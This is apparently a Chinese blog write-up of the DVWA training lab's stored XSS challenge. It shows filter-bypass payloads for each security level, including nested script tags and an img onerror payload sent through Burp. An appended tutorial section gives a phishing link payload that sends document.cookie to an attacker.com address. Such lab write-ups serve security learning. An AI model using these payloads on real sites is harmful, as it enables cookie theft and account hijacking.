2020.9.21-web-DVWA存储型XSS漏洞

本文详细介绍了存储型XSS漏洞的不同防护级别,包括low、medium、high及impossible级别的防护手段与绕过方法,如使用htmlspecialchars函数及正则匹配等。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

存储型xss漏洞:
low:
在这里插入图片描述
name和message都没有任何防御,直接怼上去。

<script>alert(1)</script>

在这里插入图片描述
存储型xss就是会将攻击脚本永远地存放在目标服务器的数据库或文件中,每次访问都会给你弹窗。
在这里插入图片描述
清理数据后进入medium级别:
在这里插入图片描述

出现了htmlspecialchars函数,不过只作用在message上,并不作用在name上。
而name上有str_replace函数,还有字符数的限制,也就是说应该是写不完

<script>alert(1)</script>

但是这个限制是在html上设置的,所以我们可以找到所在的html代码

<sc<script>ript>alert(1)</script>

在这里插入图片描述

high级别:
在这里插入图片描述
message已经防住了,但是name还是没有防住,只用了个pre_replace正则匹配过滤掉script而已。
这里用img绕过语句就可以了。同时这里的name也有字符数的限制,但是我们可以换一种方法,不用再去找限制的html源码,可以直接在burp上怼进去。
在这里插入图片描述
将txtName修改为<img src=1 onerror=alert(1)>
在这里插入图片描述
impossible:就已经把name防住了,加上了htmlspecialchars()函数了

### DVWA 存储 XSS 钓鱼攻击模拟实验教程 #### 实验环境准备 为了进行存储XSS钓鱼攻击的模拟实验,需先设置好DVWA(Damn Vulnerable Web Application)平台。确保已安装并配置完毕该应用,并调整安全性等级至`LOW`以便于测试。 #### 攻击原理说明 存储XSS是指攻击者提交含有恶意脚本的数据给Web应用程序,这些数据被保存在目标系统的数据库或其他持久化存储介质内[^1]。每当有新访客加载包含此有害内容的页面时,浏览器便会自动执行嵌入式的JavaScript代码,无需任何额外交互动作即可实施攻击行为。 #### 构造Payload 针对此次实验目的——实现钓鱼功能,则可以创建一个看似合法却暗藏玄机的消息表单或链接作为payload。例如: ```html <a href="javascript:void(0)" onclick="window.location=&#39;http://attacker.com/stole?cookie=&#39;+document.cookie">点击领取奖品</a> ``` 这段HTML代码会在用户点击“点击领取奖品”的时候重定向到攻击者的站点并将当前用户的Cookie信息附加为查询参数传递过去[^3]。 #### 发布Payload 登录进入DVWA界面后找到能够发布留言的地方(比如Guestbook),将上述构造好的payload粘贴进去并提交。此时,这条消息已经被服务器接收并存入数据库等待其他用户触发。 #### 结果观察 一旦另一位受害者访问了带有未过滤输入项的页面,其浏览器将会解析并运行之前留下的恶意脚本,从而导致个人信息泄露等问题的发生。值得注意的是,在实际环境中应当严格遵循法律规范开展此类研究活动,严禁非法操作。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值